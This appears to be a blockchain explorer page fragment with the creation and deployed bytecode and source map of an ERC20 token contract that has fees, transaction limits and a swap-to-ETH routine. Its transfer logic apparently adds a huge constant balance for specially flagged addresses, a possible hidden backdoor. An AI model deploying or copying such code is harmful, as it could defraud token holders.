3206001600160a01b038716845290915281205490916107129185906107769086610ef3565b6060600a805461068290611506565b6000610712338484610b64565b600a805461088d90611506565b80601f01602080910402602001604051908101604052809291908181526020018280546108b990611506565b80156109065780601f106108db57610100808354040283529160200191610906565b820191906000526020600020905b8154815290600101906020018083116108e957829003601f168201915b505050505081565b6009805461088d90611506565b60006107123384610776856040518060600160405280602581526020016116a1602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec7565b6000546001600160a01b031633146109c45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107db565b6001600160a01b038116610a295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107db565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a908284611556565b9392505050565b6000610a90828461156d565b6001600160a01b03831615801590610ac357506001600160a01b03821615155b610b035760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016107db565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107db565b6001600160a01b038216610c2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107db565b6001600160a01b03831660009081526004602052604090205460ff16158015610c6c57506001600160a01b03821660009081526004602052604090205460ff16155b15610cd457601654811115610cd45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107db565b600d5460ff61010082048116911610801590610cfa5750601a54600160a81b900460ff16155b8015610d145750601a546001600160a01b03848116911614155b8015610d295750601a54600160b01b900460ff165b15610d6857600d805460ff1916905530600090815260016020526040902054601654811115610d5757506016545b8015610d6657610d6681610eff565b505b6001600160a01b03821660009081526003602052604090205460ff16610dbf57601454610db482610dae856001600160a01b031660009081526001602052604090205490565b90610ef3565b1115610dbf57600080fd5b6001600160a01b03831660009081526005602052604090205460019060ff1680610e0157506001600160a01b03831660009081526005602052604090205460ff165b15610e7757506001600160a01b0382166000908152601b602052604081205460ff168015610e4a57506040805160208101909152600190819052601a54600160a01b900460ff16105b15610e7257604080516020810190915260019052601a805460ff60a01b1916600160a01b1790555b610eb5565b601a546001600160a01b0390811690851603610e9857600f54600e55610eb5565b601a546001600160a01b0390811690841603610eb557601054600e555b610ec184848484610f44565b50505050565b60008184841115610eeb5760405162461bcd60e51b81526004016107db91906113dd565b505050900390565b6000610a9082846115a5565b601a805460ff60a81b1916600160a81b179055610f1b81610f9b565b6006544790610f33906001600160a01b0316826110f5565b5050601a805460ff60a81b19169055565b80610f5657610f51611130565b610f83565b600d805460ff16906000610f69836115b8565b91906101000a81548160ff021916908360ff160217905550505b610f8e848484611175565b80610ec157610ec1611302565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fd057610fd061158f565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d91906115d7565b816001815181106110605761106061158f565b6001600160a01b0392831660209182029290920101526018546110869130911684610aa3565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bf9085906000908690309042906004016115f4565b600060405180830381600087803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561112b573d6000803e3d6000fd5b505050565b600e541580156111405750600f54155b801561114c5750601054155b1561115357565b600f805460125560108054601355600e80546011556000928390559082905555565b60008061118183611376565b6001600160a01b03871660009081526001602052604090205491935091506111a990846113ae565b6001600160a01b0386811660009081526001602090815260408083209490945583516060810185529288168385018190528252601b81529290205460ff16151591810182905290819061120c576040805160208101909152600090819052611249565b604080518082018252602080820187905282519081019092526d314dc6448d932a000000000000009182905290819061124590876113ae565b9052515b9052516001600160a01b03851660009081526001602052604090205461126f9084610ef3565b61127991906115a5565b6001600160a01b0385166000908152600160205260408082209290925530815220546112a59082610ef3565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601154600e55601254600f5560408051606081018252601354818301819052815281516020808201909352601a549192830191819061134a90600160a01b900460ff166113ba565b9052519052601a54600160a01b900460ff166002811061136c5761136c61158f565b6020020151601055565b60008060006064600e548561138b9190611556565b611395919061156d565b905060006113a385836113ae565b959194509092505050565b6000610a908284611665565b600060405180602001604052808360636113d49190611665565b90525192915050565b600060208083528351808285015260005b8181101561140a578581018301518582016040015282016113ee565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461144057600080fd5b50565b6000806040838503121561145657600080fd5b82356114618161142b565b946020939093013593505050565b60008060006060848603121561148457600080fd5b833561148f8161142b565b9250602084013561149f8161142b565b929592945050506040919091013590565b6000602082840312156114c257600080fd5b8135610a908161142b565b600080604083850312156114e057600080fd5b82356114eb8161142b565b915060208301356114fb8161142b565b809150509250929050565b600181811c9082168061151a57607f821691505b60208210810361153a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761071657610716611540565b60008261158a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b8082018082111561071657610716611540565b600060ff821660ff81036115ce576115ce611540565b60010192915050565b6000602082840312156115e957600080fd5b8151610a908161142b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116445784516001600160a01b03168352938301939183019160010161161f565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156107165761071661154056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122080701c5432568f612518c9af72dab748f089c63dfffbbfb95382335f7f80d60964736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c80638da5cb5b1161010d578063af465a27116100a0578063d28d88521161006f578063d28d8852146105a8578063d70f43db146105bd578063dd62ed3e146105dd578063f1d6512e14610623578063f2fde38b1461065357600080fd5b8063af465a2714610547578063b09f12661461055d578063c0a2526c14610572578063cbd8dc0a1461059257600080fd5b8063a3b3bc07116100dc578063a3b3bc07146104a6578063a52a9e52146104d6578063a663a9da14610506578063a9059cbb1461052757600080fd5b80638da5cb5b14610423578063949325611461044157806395d89b411461046157806397f3a19e1461047657600080fd5b8063313ce5671161018557806370a082311161015457806370a08231146103aa578063715018a6146103e057806378109e54146103f75780637d1db4a51461040d57600080fd5b8063313ce5671461032357806349bd5a5e146103495780634a74bb02146103695780635a125cda1461038a57600080fd5b806318160ddd116101c157806318160ddd146102ad5780631891201e146102cc578063220f6696146102e257806323b872dd1461030357600080fd5b806303fd2a45146101fe57806306fdde031461023b578063095ea7b31461025d5780631694505e1461028d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060075461021e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561024757600080fd5b50610250610673565b60405161023291906113dd565b34801561026957600080fd5b5061027d610278366004611443565b610705565b6040519015158152602001610232565b34801561029957600080fd5b5060185461021e906001600160a01b031681565b3480156102b957600080fd5b50600c545b604051908152602001610232565b3480156102d857600080fd5b506102be60105481565b3480156102ee57600080fd5b50601a5461027d90600160a81b900460ff1681565b34801561030f57600080fd5b5061027d61031e36600461146f565b61071c565b34801561032f57600080fd5b50600b5460ff165b60405160ff9091168152602001610232565b34801561035557600080fd5b50601a5461021e906001600160a01b031681565b34801561037557600080fd5b50601a5461027d90600160b01b900460ff1681565b34801561039657600080fd5b5060065461021e906001600160a01b031681565b3480156103b657600080fd5b506102be6103c53660046114b0565b6001600160a01b031660009081526001602052604090205490565b3480156103ec57600080fd5b506103f5610785565b005b34801561040357600080fd5b506102be60145481565b34801561041957600080fd5b506102be60165481565b34801561042f57600080fd5b506000546001600160a01b031661021e565b34801561044d57600080fd5b5061027d61045c366004611443565b61082e565b34801561046d57600080fd5b50610250610864565b34801561048257600080fd5b5061027d6104913660046114b0565b60036020526000908152604090205460ff1681565b3480156104b257600080fd5b5061027d6104c13660046114b0565b60046020526000908152604090205460ff1681565b3480156104e257600080fd5b5061027d6104f13660046114b0565b601b6020526000908152604090205460ff1681565b34801561051257600080fd5b50601a5461033790600160a01b900460ff1681565b34801561053357600080fd5b5061027d610542366004611443565b610873565b34801561055357600080fd5b506102be600c5481565b34801561056957600080fd5b50610250610880565b34801561057e57600080fd5b5060085461021e906001600160a01b031681565b34801561059e57600080fd5b506102be600f5481565b3480156105b457600080fd5b5061025061090e565b3480156105c957600080fd5b5061027d6105d8366004611443565b61091b565b3480156105e957600080fd5b506102be6105f83660046114cd565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561062f57600080fd5b5061027d61063e3660046114b0565b60056020526000908152604090205460ff1681565b34801561065f57600080fd5b506103f561066e3660046114b0565b61096a565b60606009805461068290611506565b80601f01602080910402602001604051908101604052809291908181526020018280546106ae90611506565b80156106fb5780601f106106d0576101008083540402835291602001916106fb565b820191906000526020600020905b8154815290600101906020018083116106de57829003601f168201915b5050505050905090565b6000610712338484610aa3565b5060015b92915050565b6000610729848484610b64565b61077b843361077685604051806060016040528060288152602001611679602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec7565b610aa3565b5060019392505050565b6000546001600160a01b031633146107e45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107129185906107769086610ef3565b6060600a805461068290611506565b6000610712338484610b64565b600a805461088d90611506565b80601f01602080910402602001604051908101604052809291908181526020018280546108b990611506565b80156109065780601f106108db57610100808354040283529160200191610906565b820191906000526020600020905b8154815290600101906020018083116108e957829003601f168201915b505050505081565b6009805461088d90611506565b60006107123384610776856040518060600160405280602581526020016116a1602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec7565b6000546001600160a01b031633146109c45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107db565b6001600160a01b038116610a295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107db565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a908284611556565b9392505050565b6000610a90828461156d565b6001600160a01b03831615801590610ac357506001600160a01b03821615155b610b035760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016107db565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107db565b6001600160a01b038216610c2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107db565b6001600160a01b03831660009081526004602052604090205460ff16158015610c6c57506001600160a01b03821660009081526004602052604090205460ff16155b15610cd457601654811115610cd45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107db565b600d5460ff61010082048116911610801590610cfa5750601a54600160a81b900460ff16155b8015610d145750601a546001600160a01b03848116911614155b8015610d295750601a54600160b01b900460ff165b15610d6857600d805460ff1916905530600090815260016020526040902054601654811115610d5757506016545b8015610d6657610d6681610eff565b505b6001600160a01b03821660009081526003602052604090205460ff16610dbf57601454610db482610dae856001600160a01b031660009081526001602052604090205490565b90610ef3565b1115610dbf57600080fd5b6001600160a01b03831660009081526005602052604090205460019060ff1680610e0157506001600160a01b03831660009081526005602052604090205460ff165b15610e7757506001600160a01b0382166000908152601b602052604081205460ff168015610e4a57506040805160208101909152600190819052601a54600160a01b900460ff16105b15610e7257604080516020810190915260019052601a805460ff60a01b1916600160a01b1790555b610eb5565b601a546001600160a01b0390811690851603610e9857600f54600e55610eb5565b601a546001600160a01b0390811690841603610eb557601054600e555b610ec184848484610f44565b50505050565b60008184841115610eeb5760405162461bcd60e51b81526004016107db91906113dd565b505050900390565b6000610a9082846115a5565b601a805460ff60a81b1916600160a81b179055610f1b81610f9b565b6006544790610f33906001600160a01b0316826110f5565b5050601a805460ff60a81b19169055565b80610f5657610f51611130565b610f83565b600d805460ff16906000610f69836115b8565b91906101000a81548160ff021916908360ff160217905550505b610f8e848484611175565b80610ec157610ec1611302565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fd057610fd061158f565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d91906115d7565b816001815181106110605761106061158f565b6001600160a01b0392831660209182029290920101526018546110869130911684610aa3565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bf9085906000908690309042906004016115f4565b600060405180830381600087803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561112b573d6000803e3d6000fd5b505050565b600e541580156111405750600f54155b801561114c5750601054155b1561115357565b600f805460125560108054601355600e80546011556000928390559082905555565b60008061118183611376565b6001600160a01b03871660009081526001602052604090205491935091506111a990846113ae565b6001600160a01b0386811660009081526001602090815260408083209490945583516060810185529288168385018190528252601b81529290205460ff16151591810182905290819061120c576040805160208101909152600090819052611249565b604080518082018252602080820187905282519081019092526d314dc6448d932a000000000000009182905290819061124590876113ae565b9052515b9052516001600160a01b03851660009081526001602052604090205461126f9084610ef3565b61127991906115a5565b6001600160a01b0385166000908152600160205260408082209290925530815220546112a59082610ef3565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601154600e55601254600f5560408051606081018252601354818301819052815281516020808201909352601a549192830191819061134a90600160a01b900460ff166113ba565b9052519052601a54600160a01b900460ff166002811061136c5761136c61158f565b6020020151601055565b60008060006064600e548561138b9190611556565b611395919061156d565b905060006113a385836113ae565b959194509092505050565b6000610a908284611665565b600060405180602001604052808360636113d49190611665565b90525192915050565b600060208083528351808285015260005b8181101561140a578581018301518582016040015282016113ee565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461144057600080fd5b50565b6000806040838503121561145657600080fd5b82356114618161142b565b946020939093013593505050565b60008060006060848603121561148457600080fd5b833561148f8161142b565b9250602084013561149f8161142b565b929592945050506040919091013590565b6000602082840312156114c257600080fd5b8135610a908161142b565b600080604083850312156114e057600080fd5b82356114eb8161142b565b915060208301356114fb8161142b565b809150509250929050565b600181811c9082168061151a57607f821691505b60208210810361153a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761071657610716611540565b60008261158a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b8082018082111561071657610716611540565b600060ff821660ff81036115ce576115ce611540565b60010192915050565b6000602082840312156115e957600080fd5b8151610a908161142b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116445784516001600160a01b03168352938301939183019160010161161f565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156107165761071661154056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122080701c5432568f612518c9af72dab748f089c63dfffbbfb95382335f7f80d60964736f6c63430008110033

Deployed Bytecode Sourcemap

11054:9602:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11591:81;;;;;;;;;;-1:-1:-1;11591:81:0;;;;-1:-1:-1;;;;;11591:81:0;;;;;;-1:-1:-1;;;;;194:32:1;;;176:51;;164:2;149:18;11591:81:0;;;;;;;;14226:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;15059:161::-;;;;;;;;;;-1:-1:-1;15059:161:0;;;;;:::i;:::-;;:::i;:::-;;;1412:14:1;;1405:22;1387:41;;1375:2;1360:18;15059:161:0;1247:187:1;12553:41:0;;;;;;;;;;-1:-1:-1;12553:41:0;;;;-1:-1:-1;;;;;12553:41:0;;;14503:95;;;;;;;;;;-1:-1:-1;14583:7:0;;14503:95;;;1819:25:1;;;1807:2;1792:18;14503:95:0;1673:177:1;12094:29:0;;;;;;;;;;;;;;;;12708:28;;;;;;;;;;-1:-1:-1;12708:28:0;;;;-1:-1:-1;;;12708:28:0;;;;;;15228:313;;;;;;;;;;-1:-1:-1;15228:313:0;;;;;:::i;:::-;;:::i;14412:83::-;;;;;;;;;;-1:-1:-1;14478:9:0;;;;14412:83;;;2488:4:1;2476:17;;;2458:36;;2446:2;2431:18;14412:83:0;2316:184:1;12632:28:0;;;;;;;;;;-1:-1:-1;12632:28:0;;;;-1:-1:-1;;;;;12632:28:0;;;12743:40;;;;;;;;;;-1:-1:-1;12743:40:0;;;;-1:-1:-1;;;12743:40:0;;;;;;11492:92;;;;;;;;;;-1:-1:-1;11492:92:0;;;;-1:-1:-1;;;;;11492:92:0;;;14606:119;;;;;;;;;;-1:-1:-1;14606:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;14699:18:0;14672:7;14699:18;;;:9;:18;;;;;;;14606:119;10640:148;;;;;;;;;;;;;:::i;:::-;;12303:56;;;;;;;;;;;;;;;;12432:53;;;;;;;;;;;;;;;;10411:87;;;;;;;;;;-1:-1:-1;10457:7:0;10484:6;-1:-1:-1;;;;;10484:6:0;10411:87;;15549:214;;;;;;;;;;-1:-1:-1;15549:214:0;;;;;:::i;:::-;;:::i;14317:87::-;;;;;;;;;;;;;:::i;11312:54::-;;;;;;;;;;-1:-1:-1;11312:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11373:50;;;;;;;;;;-1:-1:-1;11373:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12790:48;;;;;;;;;;-1:-1:-1;12790:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12667:28;;;;;;;;;;-1:-1:-1;12667:28:0;;;;-1:-1:-1;;;12667:28:0;;;;;;14733:167;;;;;;;;;;-1:-1:-1;14733:167:0;;;;;:::i;:::-;;:::i;11888:52::-;;;;;;;;;;;;;;;;11813:34;;;;;;;;;;;;;:::i;11679:81::-;;;;;;;;;;-1:-1:-1;11679:81:0;;;;-1:-1:-1;;;;;11679:81:0;;;12059:28;;;;;;;;;;;;;;;;11769:37;;;;;;;;;;;;;:::i;15771:265::-;;;;;;;;;;-1:-1:-1;15771:265:0;;;;;:::i;:::-;;:::i;14908:143::-;;;;;;;;;;-1:-1:-1;14908:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;15016:18:0;;;14989:7;15016:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14908:143;11430:48;;;;;;;;;;-1:-1:-1;11430:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10796:244;;;;;;;;;;-1:-1:-1;10796:244:0;;;;;:::i;:::-;;:::i;14226:83::-;14263:13;14296:5;14289:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14226:83;:::o;15059:161::-;15134:4;15151:39;1953:10;15174:7;15183:6;15151:8;:39::i;:::-;-1:-1:-1;15208:4:0;15059:161;;;;;:::o;15228:313::-;15326:4;15343:36;15353:6;15361:9;15372:6;15343:9;:36::i;:::-;15390:121;15399:6;1953:10;15421:89;15459:6;15421:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15421:19:0;;;;;;:11;:19;;;;;;;;1953:10;15421:33;;;;;;;;;;:37;:89::i;:::-;15390:8;:121::i;:::-;-1:-1:-1;15529:4:0;15228:313;;;;;:::o;10640:148::-;10457:7;10484:6;-1:-1:-1;;;;;10484:6:0;1953:10;10550:23;10542:68;;;;-1:-1:-1;;;10542:68:0;;3945:2:1;10542:68:0;;;3927:21:1;;;3964:18;;;3957:30;4023:34;4003:18;;;3996:62;4075:18;;10542:68:0;;;;;;;;;10747:1:::1;10731:6:::0;;10710:40:::1;::::0;-1:-1:-1;;;;;10731:6:0;;::::1;::::0;10710:40:::1;::::0;10747:1;;10710:40:::1;10778:1;10761:19:::0;;-1:-1:-1;;;;;;10761:19:0::1;::::0;;10640:148::o;15549:214::-;1953:10;15633:4;15682:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15682:34:0;;;;;;;;;;15633:4;;15650:83;;15673:7;;15682:50;;15721:10;15682:38;:50::i;14317:87::-;14356:13;14389:7;14382:14;;;;;:::i;14733:167::-;14811:4;14828:42;1953:10;14852:9;14863:6;14828:9;:42::i;11813:34::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11769:37::-;;;;;;;:::i;15771:265::-;15860:4;15877:129;1953:10;15900:7;15909:96;15948:15;15909:96;;;;;;;;;;;;;;;;;1953:10;15909:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15909:34:0;;;;;;;;;;;;:38;:96::i;10796:244::-;10457:7;10484:6;-1:-1:-1;;;;;10484:6:0;1953:10;10550:23;10542:68;;;;-1:-1:-1;;;10542:68:0;;3945:2:1;10542:68:0;;;3927:21:1;;;3964:18;;;3957:30;4023:34;4003:18;;;3996:62;4075:18;;10542:68:0;3743:356:1;10542:68:0;-1:-1:-1;;;;;10885:22:0;::::1;10877:73;;;::::0;-1:-1:-1;;;10877:73:0;;4306:2:1;10877:73:0::1;::::0;::::1;4288:21:1::0;4345:2;4325:18;;;4318:30;4384:34;4364:18;;;4357:62;-1:-1:-1;;;4435:18:1;;;4428:36;4481:19;;10877:73:0::1;4104:402:1::0;10877:73:0::1;10987:6;::::0;;10966:38:::1;::::0;-1:-1:-1;;;;;10966:38:0;;::::1;::::0;10987:6;::::1;::::0;10966:38:::1;::::0;::::1;11015:6;:17:::0;;-1:-1:-1;;;;;;11015:17:0::1;-1:-1:-1::0;;;;;11015:17:0;;;::::1;::::0;;;::::1;::::0;;10796:244::o;1188:98::-;1246:7;1273:5;1277:1;1273;:5;:::i;:::-;1266:12;1188:98;-1:-1:-1;;;1188:98:0:o;1298:::-;1356:7;1383:5;1387:1;1383;:5;:::i;16573:266::-;-1:-1:-1;;;;;16668:19:0;;;;;;:44;;-1:-1:-1;;;;;;16691:21:0;;;;16668:44;16660:74;;;;-1:-1:-1;;;16660:74:0;;5240:2:1;16660:74:0;;;5222:21:1;5279:2;5259:18;;;5252:30;-1:-1:-1;;;5298:18:1;;;5291:47;5355:18;;16660:74:0;5038:341:1;16660:74:0;-1:-1:-1;;;;;16745:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16797:32;;1819:25:1;;;16797:32:0;;1792:18:1;16797:32:0;;;;;;;16573:266;;;:::o;16847:1561::-;-1:-1:-1;;;;;16981:18:0;;16973:68;;;;-1:-1:-1;;;16973:68:0;;5586:2:1;16973:68:0;;;5568:21:1;5625:2;5605:18;;;5598:30;5664:34;5644:18;;;5637:62;-1:-1:-1;;;5715:18:1;;;5708:35;5760:19;;16973:68:0;5384:401:1;16973:68:0;-1:-1:-1;;;;;17060:16:0;;17052:64;;;;-1:-1:-1;;;17052:64:0;;5992:2:1;17052:64:0;;;5974:21:1;6031:2;6011:18;;;6004:30;6070:34;6050:18;;;6043:62;-1:-1:-1;;;6121:18:1;;;6114:33;6164:19;;17052:64:0;5790:399:1;17052:64:0;-1:-1:-1;;;;;17133:23:0;;;;;;:17;:23;;;;;;;;17132:24;:60;;;;-1:-1:-1;;;;;;17171:21:0;;;;;;:17;:21;;;;;;;;17170:22;17132:60;17129:195;;;17255:12;;17217:6;:50;;17209:103;;;;-1:-1:-1;;;17209:103:0;;6396:2:1;17209:103:0;;;6378:21:1;6435:2;6415:18;;;6408:30;6474:34;6454:18;;;6447:62;-1:-1:-1;;;6525:18:1;;;6518:38;6573:19;;17209:103:0;6194:404:1;17209:103:0;17364:11;;;;;;;;17353:7;;:22;;;;:57;;-1:-1:-1;17394:16:0;;-1:-1:-1;;;17394:16:0;;;;17393:17;17353:57;:95;;;;-1:-1:-1;17435:13:0;;-1:-1:-1;;;;;17427:21:0;;;17435:13;;17427:21;;17353:95;:133;;;;-1:-1:-1;17465:21:0;;-1:-1:-1;;;17465:21:0;;;;17353:133;17336:497;;;17543:7;:11;;-1:-1:-1;;17543:11:0;;;17618:4;-1:-1:-1;14699:18:0;;;-1:-1:-1;14699:18:0;;;;;;17665:12;;17642:35;;17639:78;;;-1:-1:-1;17703:12:0;;17639:78;17734:24;;17731:91;;17774:36;17789:20;17774:14;:36::i;:::-;17512:321;17336:497;-1:-1:-1;;;;;17850:25:0;;;;;;:21;:25;;;;;;;;17846:84;;17914:15;;17885:25;17903:6;17885:13;17895:2;-1:-1:-1;;;;;14699:18:0;14672:7;14699:18;;;:9;:18;;;;;;;14606:119;17885:13;:17;;:25::i;:::-;:44;;17877:53;;;;;;-1:-1:-1;;;;;17981:21:0;;17943:16;17981:21;;;:15;:21;;;;;;17962:4;;17981:21;;;:44;;-1:-1:-1;;;;;;18006:19:0;;;;;;:15;:19;;;;;;;;17981:44;17977:361;;;-1:-1:-1;;;;;;18079:19:0;;18056:5;18079:19;;;:15;:19;;;;;;;;:45;;;;-1:-1:-1;18117:6:0;;;;;;;;;18118:1;18117:6;;;;18102:11;;-1:-1:-1;;;18102:11:0;;:22;:11;:22;18079:45;18076:76;;;18142:6;;;;;;;;;18143:1;18142:6;;18127:11;:22;;-1:-1:-1;;;;18127:22:0;-1:-1:-1;;;18127:22:0;;;18076:76;17977:361;;;18183:13;;-1:-1:-1;;;;;18183:13:0;;;18175:21;;;;18171:167;;18223:9;;18212:8;:20;18171:167;;;18264:13;;-1:-1:-1;;;;;18264:13:0;;;18258:19;;;;18254:84;;18308:10;;18297:8;:21;18254:84;18358:42;18373:4;18378:2;18381:6;18388:11;18358:14;:42::i;:::-;16950:1458;16847:1561;;;:::o;1404:206::-;1490:7;1551:12;1543:6;;;;1535:29;;;;-1:-1:-1;;;1535:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1586:5:0;;;1404:206::o;976:98::-;1034:7;1061:5;1065:1;1061;:5;:::i;18669:237::-;13081:16;:23;;-1:-1:-1;;;;13081:23:0;-1:-1:-1;;;13081:23:0;;;18754:38:::1;18771:20:::0;18754:16:::1;:38::i;:::-;18870:15;::::0;18825:21:::1;::::0;18857:41:::1;::::0;-1:-1:-1;;;;;18870:15:0::1;18825:21:::0;18857:12:::1;:41::i;:::-;-1:-1:-1::0;;13127:16:0;:24;;-1:-1:-1;;;;13127:24:0;;;18669:237::o;19400:346::-;19525:11;19521:109;;19552:12;:10;:12::i;:::-;19521:109;;;19605:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;19521:109;19644:41;19659:6;19667:9;19678:6;19644:14;:41::i;:::-;19702:11;19698:40;;19728:10;:8;:10::i;18916:474::-;19008:16;;;19022:1;19008:16;;;;;;;;18984:21;;19008:16;;;;;;;;;;-1:-1:-1;19008:16:0;18984:40;;19053:4;19035;19040:1;19035:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19035:23:0;;;:7;;;;;;;;;;:23;;;;19079:15;;:22;;;-1:-1:-1;;;19079:22:0;;;;:15;;;;;:20;;:22;;;;;19035:7;;19079:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19069:4;19074:1;19069:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19069:32:0;;;:7;;;;;;;;;:32;19144:15;;19112:62;;19129:4;;19144:15;19162:11;19112:8;:62::i;:::-;19185:15;;:197;;-1:-1:-1;;;19185:197:0;;-1:-1:-1;;;;;19185:15:0;;;;:66;;:197;;19266:11;;19185:15;;19309:4;;19336;;19356:15;;19185:197;;;:::i;:::-;;;;;;;;;;